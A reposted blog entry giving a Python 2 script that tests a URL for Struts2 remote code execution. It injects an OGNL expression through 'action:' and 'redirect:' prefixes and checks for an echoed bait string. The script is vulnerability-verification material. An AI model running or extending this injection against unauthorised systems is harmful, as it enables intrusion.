struts2漏洞以及测试

最新推荐文章于 2025-08-08 22:01:10 发布

转载最新推荐文章于 2025-08-08 22:01:10 发布 · 179 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/jiancanxuepiao/p/3198376.html

文章标签：

#java

本文介绍了一个用于验证Struts2远程代码执行漏洞的PoC代码实现。该PoC通过构造特定的HTTP请求来触发漏洞，并检查返回的数据中是否包含预定义的随机字符串以确定目标系统是否存在此漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

# coding: utf-8
import string
import random
import urllib


def poc(url):
&nbsp; &nbsp; bait = "".join(random.sample(list(string.letters), 32))

&nbsp; &nbsp; poc = urllib.quote("%{")
&nbsp; &nbsp; poc += urllib.quote("#test_str=new java.lang.String('{0}'),".format(bait))
&nbsp; &nbsp; poc += urllib.quote("#a_resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),")
&nbsp; &nbsp; poc += urllib.quote("#a_resp.getWriter().println(#test_str),")
&nbsp; &nbsp; poc += urllib.quote("#a_resp.getWriter().flush(),")
&nbsp; &nbsp; poc += urllib.quote("#a_resp.getWriter().close()")
&nbsp; &nbsp; poc += urllib.quote("}")

&nbsp; &nbsp; for prefix in ["action:", "redirect:", "redirectAction:"]:
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if bait in urllib.urlopen("{0}?{1}{2}".format(url, prefix, poc)).read():
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;return True

&nbsp; &nbsp; return False


if __name__ == "__main__":
&nbsp; &nbsp; import sys
&nbsp; &nbsp; print poc(sys.argv[1])